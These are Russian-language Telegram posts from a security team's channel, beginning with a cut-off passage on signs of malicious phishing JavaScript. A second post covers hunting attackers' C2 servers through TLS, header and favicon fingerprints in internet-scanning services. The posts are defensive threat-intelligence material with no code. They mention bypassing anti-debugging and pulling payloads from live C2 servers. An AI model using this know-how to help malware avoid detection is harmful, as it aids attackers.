внутри (в результате декодирования получается https: или http:) — поистине страшная смесь! А если добавить к этому document.write (добавления контента в html-документ) и unescape (устаревший метод для декодирования URI) — это точно редфлаг 🚩

антидебаггинг, конечно, используется в легитимных целях, но очень редко: стоит задуматься, если встречаете его (эти техники, кстати, можно обойти довольно легко — к примеру, в случае третьего фишинга использовать не горячие клавиши вроде F12 или Ctrl+Shift+i, а вручную открыть инструменты в настройках или записать трафик).

💡 Хотим отметить, что не стоит видеть подозрительность везде — например, сжатие кода и популярные виды обфускации часто используют в легитимных проектах! Решили поразбирать JS-код сами just for run и увидели странный POST-запрос? Будем верить, что вы указали фальшивый пароль 🤞🏻

Happy hunting!

#hunt #network #phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
C2 hunting: часть 2. Ищем серверы хакеров по внешним признакам 😁

В предыдущей части мы с вами поговорили о том, как расширить знание об инфраструктуре хакеров, используя PDNS и Whois.

Сегодня обсудим, как искать серверы хакеров не только когда они уже начали использовать свою инфраструктуру в атаках, но и в момент ее развертывания.

Перед самой атакой хакеры, как правило, занимаются подготовкой инструментария и сетевой инфраструктуры. В моделях угроз этот этап обычно называется weaponization или resource development.

Практически у любого ВПО в том или ином виде есть механизм коммуникации с C2. Сам C2 обладает рядом признаков, которые могут быть получены, если его просканировать или просто обратиться на конкретный порт, например 443. Так мы, скорее всего, получим параметры TLS-сертификата, параметры TLS-соединения, заголовки ответа сервера и содержимое веб-страницы.

Соответственно, разбирая ВПО хакеров и анализируя их сетевую инфраструктуру, мы будем иметь представление об уникальных признаках, которые они используют на своих C2 для конкретного ВПО, что позволит нам в некоторых случаях обнаруживать их C2 в момент развертывания сетевой инфраструктуры для атаки и превентивно блокировать эти индикаторы на СЗИ.

Список наиболее популярных признаков, которые можно использовать для идентификации С2:

Параметры TLS-сертификата
Параметры TLS-соединения (JA3, JA4, JARM и т. д.)
Заголовки ответа от сервера
Контент и title страницы
Набор открытых портов
Favicon

Ограничить поиск всегда можно с помощью указания ASN, хостера или страны.

Список сервисов, которые помогут вам искать С2 таким способом:

Shodan
Censys
FOFA
ZoomEye
BinaryEdge
Netlas
ONYPHE
Самописный сканер

Руками искать по всем сервисам трудозатратно, но все же необходимо, так как каждый сервис может выдать разные результаты. Чтобы снизить затраты на ручной труд, нужна автоматизация. Мы у себя разработали систему SCANDAT, которая имеет внутренний поисковый синтаксис и автоматически генерирует поисковые правила под каждый сервис.

😠 На скриншотах 1–3 вы можете увидеть примеры запросов для обнаружения C2 для ВПО GoRed, которое использует группа ExCobalt.

Кроме того, есть базовое опенсорс-решение для автоматизации запросов.

В конечном итоге все идентифицированные C2 из нашей системы попадают в продукты компании, повышая уровень обнаружения угроз.

💡 Стоит отметить, что некоторые разработчики MaaS стараются противодействовать таким методам обнаружения. Например, с определенной версии Medusa Stealer ее разработчики убрали title, некоторый контент на странице и добавили генерацию случайных данных в TLS-сертификат, чтобы нельзя было идентифицировать панель управления стилером через популярные сервисы.

Вы можете не только собирать такие серверы и отправлять их в фиды для СЗИ, но и писать эмуляторы сетевого протокола ВПО, чтобы со свежего С2 получить пейлоад или какой-либо модуль. Это позволит вам получить дополнительные индикаторы и атрибуционные признаки.

#TI #C2 #tips #hunt #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM